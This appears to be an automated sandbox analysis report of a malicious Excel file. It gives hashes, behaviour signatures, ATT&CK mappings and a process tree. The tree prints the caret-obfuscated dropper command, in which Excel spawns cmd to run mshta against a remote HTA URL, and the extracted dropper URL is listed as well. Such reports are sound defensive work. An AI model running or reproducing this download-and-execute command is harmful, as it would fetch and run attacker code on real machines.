8df334563bda9ebfdb62cd6dfefc46a1896c449b72c6587ccddb6365d17232fb

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20241023-en
resource tags

arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
submitted
20-11-2024 21:30

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General

Target

8df334563bda9ebfdb62cd6dfefc46a1896c449b72c6587ccddb6365d17232fb.xls
Size

71KB
MD5

2019a97078177e1a30f7f45ea2ad0acf
SHA1

12f83ef29430bc356eddc6cfce6de47c36e6edce
SHA256

8df334563bda9ebfdb62cd6dfefc46a1896c449b72c6587ccddb6365d17232fb
SHA512

946ae615b545f3c2264e9010eaf5deab46f08991128417fa382786502829f55691859c21b91c2bc99b5d9b6dad0b2b5d7230558789be0c43ddd780a3066afa8d
SSDEEP

1536:bpEk3hbdlylKsgqopeJBWhZFGkE+cL2NdA8eXZiozeOgXVZKyaZpvyR1kZkJvU+:bCk3hbdlylKsgqopeJBWhZFGkE+cL2Nr

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fe2.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1984	1720	cmd.exe	29

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	2392	mshta.exe
5	2392	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1720	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1720	EXCEL.EXE
1720	EXCEL.EXE
1720	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1720 wrote to memory of 1984	1720	EXCEL.EXE	30
PID 1720 wrote to memory of 1984	1720	EXCEL.EXE	30
PID 1720 wrote to memory of 1984	1720	EXCEL.EXE	30
PID 1720 wrote to memory of 1984	1720	EXCEL.EXE	30
PID 1984 wrote to memory of 2392	1984	cmd.exe	32
PID 1984 wrote to memory of 2392	1984	cmd.exe	32
PID 1984 wrote to memory of 2392	1984	cmd.exe	32
PID 1984 wrote to memory of 2392	1984	cmd.exe	32

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\8df334563bda9ebfdb62cd6dfefc46a1896c449b72c6587ccddb6365d17232fb.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1720
- C:\Windows\SysWOW64\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1984
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://0xb907d607/fer/fe2.html
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:2392

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1720-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1720-1-0x0000000071F8D000-0x0000000071F98000-memory.dmp

Filesize
44KB

Download
memory/1720-2-0x0000000071F8D000-0x0000000071F98000-memory.dmp

Filesize
44KB

Download